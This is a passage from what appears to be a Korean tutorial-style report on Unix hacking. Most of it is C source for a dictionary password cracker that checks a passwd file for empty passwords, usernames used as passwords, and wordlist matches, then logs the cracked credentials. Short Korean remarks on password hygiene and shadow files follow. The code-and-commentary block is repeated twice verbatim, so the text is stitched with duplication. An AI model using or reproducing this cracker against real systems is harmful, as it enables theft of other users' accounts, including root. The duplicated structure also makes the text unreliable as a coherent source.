본문내용
n(i,"r");
printf("Results File: ");
gets(i);
o=fopen(i,"w");
fprintf(o,"*** PASS 1: NULL PASSWORDS ***\n");
while(ps)
{
fetch(es,p,as,ps);
if(ps) if(ps[-1]==':') fprintf(o,"|User[%s] has no password!\n",as);
}
fflush(o);
rewind(p);
fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n");
do
{
fetch(es,p,as,ps);
if(ps) if(!strcmp((char *)crypt(as,ps),ps))
fprintf(o,"|User[%s]has password [%s]\n",as,as);
}while(ps);
fflush(o);
rewind(p);
fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n");
do{
rewind(w);
fetch(es,p,as,ps);
do
{
fgets(ws,130,w);
ws[strlen(ws)-1]=0;
if(!strcmp((char *)crypt(ws,ps),ps))
{
fprintf(o,"| User [%s] has password [%s]\n",as,ws);
fflush(o);
break;
}
}while(!feof(w));
}while(!feof(p));
fprintf(o,"*** FINISHED SESSION ***\n");
exit(1);
}
이방법에 의해서는 root뿐만이 아니라 다른 일반 사용자의 계정도 알아 낼 수
있습니다. 시간만 여유롭다면... 보안의 관점에서 생각한다면 이러한 해킹의 방법을
숙지하고 자신의 password를 정할때 어떤 단어로 이루져 있거나 자신의 사용자
이름을 직접 또는 간접적으로 이용했거나하는 경우는 피해야 하고 주기적인
password변경에 의해 password관리를 해야 겠습니다.
이와 같은 해킹방법의 관점에서 생각할 때 자신의 지금의 password에 특수문자를
끼워 넣는다면 password가 cracker에 의해 도용될 가능성은 몇 백배 줄어 들게
됩니다. 또 시스템 관리자라면 passwd파일을 위와 같은 방식으로 저장하지 않고
shadow파일을 만들어 password와 다른 사용자 정보를 분리시켜 놓는 것도 권장할
만한 것 입니다. 그런데 사실 shadow파일에 대한 해킹 방법도 알려져 있어서 문제가
되긴 하겠지만 시간과 해킹방법의 난의도에 의해 많은 해킹을 막을 수 있습니다.
shadow파일에 대한 이야기는 다음에 하겠습니다.
*벌레(Bug)로 집 갈가 먹기
유닉스 시스템에는 엄청나게 많은 프로그램 파일들이 존재합니다.
유닉스의 기본 철학이 "작은 도구들을 여러가지 이용하여 큰 일을 해결하자"(???
라고 저도 들었어요.)입니다.
그래서 아주 크기가 작은 유틸리티나 명령어 들이 많죠.
그 많은 파일들을 사람이 만들었겠죠? 사람이 하는 일이다 보니 실수도 있는법이죠.
다음 기회에 뒷이야기는 적기로 하겠습니다.
printf("Results File: ");
gets(i);
o=fopen(i,"w");
fprintf(o,"*** PASS 1: NULL PASSWORDS ***\n");
while(ps)
{
fetch(es,p,as,ps);
if(ps) if(ps[-1]==':') fprintf(o,"|User[%s] has no password!\n",as);
}
fflush(o);
rewind(p);
fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n");
do
{
fetch(es,p,as,ps);
if(ps) if(!strcmp((char *)crypt(as,ps),ps))
fprintf(o,"|User[%s]has password [%s]\n",as,as);
}while(ps);
fflush(o);
rewind(p);
fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n");
do{
rewind(w);
fetch(es,p,as,ps);
do
{
fgets(ws,130,w);
ws[strlen(ws)-1]=0;
if(!strcmp((char *)crypt(ws,ps),ps))
{
fprintf(o,"| User [%s] has password [%s]\n",as,ws);
fflush(o);
break;
}
}while(!feof(w));
}while(!feof(p));
fprintf(o,"*** FINISHED SESSION ***\n");
exit(1);
}
이방법에 의해서는 root뿐만이 아니라 다른 일반 사용자의 계정도 알아 낼 수
있습니다. 시간만 여유롭다면... 보안의 관점에서 생각한다면 이러한 해킹의 방법을
숙지하고 자신의 password를 정할때 어떤 단어로 이루져 있거나 자신의 사용자
이름을 직접 또는 간접적으로 이용했거나하는 경우는 피해야 하고 주기적인
password변경에 의해 password관리를 해야 겠습니다.
이와 같은 해킹방법의 관점에서 생각할 때 자신의 지금의 password에 특수문자를
끼워 넣는다면 password가 cracker에 의해 도용될 가능성은 몇 백배 줄어 들게
됩니다. 또 시스템 관리자라면 passwd파일을 위와 같은 방식으로 저장하지 않고
shadow파일을 만들어 password와 다른 사용자 정보를 분리시켜 놓는 것도 권장할
만한 것 입니다. 그런데 사실 shadow파일에 대한 해킹 방법도 알려져 있어서 문제가
되긴 하겠지만 시간과 해킹방법의 난의도에 의해 많은 해킹을 막을 수 있습니다.
shadow파일에 대한 이야기는 다음에 하겠습니다.
*벌레(Bug)로 집 갈가 먹기
유닉스 시스템에는 엄청나게 많은 프로그램 파일들이 존재합니다.
유닉스의 기본 철학이 "작은 도구들을 여러가지 이용하여 큰 일을 해결하자"(???
라고 저도 들었어요.)입니다.
그래서 아주 크기가 작은 유틸리티나 명령어 들이 많죠.
그 많은 파일들을 사람이 만들었겠죠? 사람이 하는 일이다 보니 실수도 있는법이죠.
다음 기회에 뒷이야기는 적기로 하겠습니다.
추천자료
- 네트워크, 인터넷 연구
- 네트워크 관련 문제
- 네트워크 데이터의 형식과 압축
- 홈네트워크 동향 및 전망
- 네트워크를 훔쳐라 독후감
- 네트워크 장비에 대한 해킹•바이러스 피해사례 및 대응 방안 연구
- 홈네트워크
- 홈네트워크 기술이란? - 개요, 개념도, 배경, 특징, 구성도, 시스템 구성
- 네트워크 관리
- [홈네트워크]홈네트워크 기술 소개, 홈네트워크(home network)서비스의 종류 및 장단점, 유비...
- [음성패킷망][VoIP][음성패킷망(VoIP) 네트워크구조][음성패킷망(VoIP) 전망]음성패킷망(VoIP...
- [LAN, 랜]LAN(근거리통신망, 랜)과 랜구축(LAN구축), 랜카드(LAN카드), 랜보안(LAN보안), 무...
- [정보통신기술(ICT)][전자민주주의]정보통신기술(ICT)과 전자민주주의, 기술협력, 정보통신기...
- [전자상거래][EC][전자상거래 시장][전자상거래 창업][전자상거래 회계]전자상거래(EC) 시장,...